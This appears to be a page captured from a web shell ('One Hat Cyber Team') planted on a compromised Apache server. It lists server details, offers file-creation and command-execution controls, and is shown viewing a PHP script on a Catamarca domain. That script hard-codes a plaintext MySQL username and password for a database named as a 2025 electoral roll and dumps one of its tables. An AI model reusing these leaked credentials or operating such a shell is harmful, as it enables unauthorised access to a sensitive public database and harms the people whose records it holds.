One Hat Cyber Team
Your IP :
104.23.243.59
Server IP :
104.21.51.23
Server :
Linux 128-201-239-36.cprapid.com 3.10.0-1160.41.1.el7.x86_64 #1 SMP Tue Aug 31 14:52:47 UTC 2021 x86_64
Server Software :
Apache
PHP Version :
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
juscatamarca
/
www
/
subdomains
/
justabot
/
View File Name :
p.php
<?php // Datos de conexión $host = "localhost"; $usuario = 'juscatamarca_charbot'; $password = 'eOIw8M3X)?-U'; // tu contraseña MySQL $bd = 'juscatamarca_padron_electoral_2025'; // tu base de datos try { // Conectar con PDO $pdo = new PDO("mysql:host=$host;dbname=$bd;charset=utf8", $usuario, $password); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // Query simple $sql = "SELECT * FROM departamentos"; $stmt = $pdo->query($sql); echo "<h3>Resultados de la tabla</h3>"; echo "<table border='1' cellpadding='5'>"; // Encabezados $columnas = array_keys($stmt->fetch(PDO::FETCH_ASSOC)); echo "<tr>"; foreach ($columnas as $col) { echo "<th>" . htmlspecialchars($col) . "</th>"; } echo "</tr>"; // Reposicionar el cursor y mostrar filas $stmt = $pdo->query($sql); while ($fila = $stmt->fetch(PDO::FETCH_ASSOC)) { echo "<tr>"; foreach ($fila as $valor) { echo "<td>" . htmlspecialchars($valor) . "</td>"; } echo "</tr>"; } echo "</table>"; } catch (PDOException $e) { echo "❌ Error: " . $e->getMessage(); }